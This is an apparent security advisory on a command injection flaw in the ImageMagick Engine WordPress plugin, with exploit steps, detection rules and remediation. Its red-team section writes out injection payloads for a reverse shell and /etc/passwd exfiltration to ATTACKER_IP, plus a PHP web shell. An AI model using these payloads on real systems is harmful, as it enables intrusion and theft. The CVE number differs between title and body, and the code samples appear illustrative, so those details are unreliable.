CVE-2024-6486

Executive Summary

CVE-2024-6485 is a critical OS Command Injection vulnerability in the ImageMagick Engine WordPress plugin (versions before 1.7.11). This flaw allows an authenticated attacker with administrator-level permissions to inject arbitrary operating system commands via the cli_path parameter. Successful exploitation leads to full remote code execution (RCE) on the underlying server, compromising the entire WordPress installation and potentially the host system.

This vulnerability is particularly dangerous because it targets a core component of image processing within WordPress, and the required administrator privileges are often achievable through social engineering or other initial access vectors. The plugin is widely used for handling image uploads and transformations, making it a high-value target for attackers seeking to compromise WordPress sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress plugin repository. Administrators should verify the integrity of the plugin update by checking the plugin's version number in the WordPress admin dashboard or by downloading the latest version directly from the WordPress plugin directory. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Administrator-level access is needed.
• User Interaction (UI): None – No user action is required beyond the attacker's actions.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise leads to data exposure.
• Integrity (I): High – Attackers can modify files and data.
• Availability (A): High – Attackers can disrupt services or delete data.

Threat Level: Critical. The combination of low attack complexity and high impact makes this a severe threat, especially for WordPress sites with multiple administrators.

Deep Dive & Mechanics

The vulnerability resides in the ImageMagick Engine plugin's handling of the cli_path parameter. This parameter is used to specify the path to the ImageMagick command-line tools (e.g., convert, identify). The plugin fails to properly sanitize or validate user-supplied input for this parameter before passing it to a system shell command.

Root Cause: The plugin uses a function like exec() or shell_exec() to execute ImageMagick commands. The cli_path parameter is concatenated directly into the command string without proper escaping or validation. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker gains administrator access to the WordPress admin panel.
2. Attacker navigates to the ImageMagick Engine settings page.
3. Attacker modifies the cli_path parameter to include a malicious payload, e.g., /usr/bin/convert;id.
4. The plugin executes the command: /usr/bin/convert;id.
5. The shell interprets the semicolon as a command separator and executes both /usr/bin/convert and id.
6. The output of the injected command is returned to the attacker, confirming RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Version < 1.7.11):

// In a settings handler or command execution function
$cli_path = get_option('imagemagick_cli_path');
$command = $cli_path . ' convert input.jpg output.png';
exec($command, $output, $return_var);

Patched Code (Version 1.7.11):

// The plugin now validates and escapes the cli_path
$cli_path = get_option('imagemagick_cli_path');
if (!file_exists($cli_path) || !is_executable($cli_path)) {
    // Handle error
}
$escaped_path = escapeshellcmd($cli_path);
$command = $escaped_path . ' convert input.jpg output.png';
exec($command, $output, $return_var);

The patch adds a check to ensure the path exists and is executable, and uses escapeshellcmd() to escape shell metacharacters, preventing command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with the vulnerable plugin (version < 1.7.11).
• Administrator credentials.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Settings > ImageMagick Engine.
3. In the "Command Line Path" field, enter a payload such as:

   /usr/bin/convert;id
   

4. Save the settings.
5. The plugin will execute the command. The output of id will be visible in the plugin's status messages or error logs.

Advanced Payloads:

• Reverse shell: /usr/bin/convert;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
• Data exfiltration: /usr/bin/convert;curl -X POST -d @/etc/passwd http://ATTACKER_IP/collect
• Persistence: /usr/bin/convert;echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual changes to the imagemagick_cli_path option in the WordPress database.
2. Look for command injection patterns in web server logs (e.g., ;, |, && in the cli_path parameter).
3. Check for unexpected processes spawned by the web server user (e.g., id, curl, bash).
4. Review file integrity for new or modified files in the web root.

Hunting Queries:

• Search for cli_path in WordPress options table: SELECT * FROM wp_options WHERE option_name = 'imagemagick_cli_path';
• Look for shell metacharacters in the option value.

Indicators of Compromise (IOCs)

• File: /var/www/html/wp-content/plugins/imagemagick-engine/imagemagick-engine.php (vulnerable version)
• Database Option: imagemagick_cli_path containing shell metacharacters or suspicious paths.
• Process: Unusual commands executed by the web server user (e.g., id, whoami, curl, wget).
• Network: Outbound connections to attacker-controlled IPs on non-standard ports.
• Logs: Web server logs showing requests to /wp-admin/options-general.php?page=imagemagick-engine with suspicious cli_path values.

Detection Engineering

YARA Rule

rule CVE_2024_6485_ImageMagick_Engine_Command_Injection {
    meta:
        description = "Detects vulnerable ImageMagick Engine plugin files with command injection patterns"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-6485"
        severity = "critical"
    strings:
        $vuln_func = "exec("
        $cli_path_var = "imagemagick_cli_path"
        $unsanitized = /get_option\(['\"]imagemagick_cli_path['\"]\)/
    condition:
        $vuln_func and $cli_path_var and $unsanitized
}

Sigma Rule

title: CVE-2024-6485 - ImageMagick Engine Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-6485 via command injection in the cli_path parameter
author: Valters IT
date: 2024/07/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6485
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=imagemagick-engine'
        cs-uri-query|contains|wide: 'cli_path'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in paths (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6485 - ImageMagick Engine Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=imagemagick-engine"; http_uri; content:"cli_path"; http_client_body; pcre:"/(;|\||\&\&|`|\$\().*$/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 1.7.11 or later from the WordPress plugin repository.
2. Review administrator accounts and remove any suspicious or unnecessary users.
3. Check for signs of compromise using the IOCs provided above.

Long-term Mitigations:

• Implement the principle of least privilege for WordPress admin accounts.
• Use a Web Application Firewall (WAF) to block command injection attempts.
• Regularly audit plugin code for security vulnerabilities.
• Enable logging and monitoring for all admin-level actions.

Workaround (if patching is not immediately possible):

• Disable the ImageMagick Engine plugin until it can be updated.
• Restrict access to the plugin settings page via .htaccess or server configuration.

Valters IT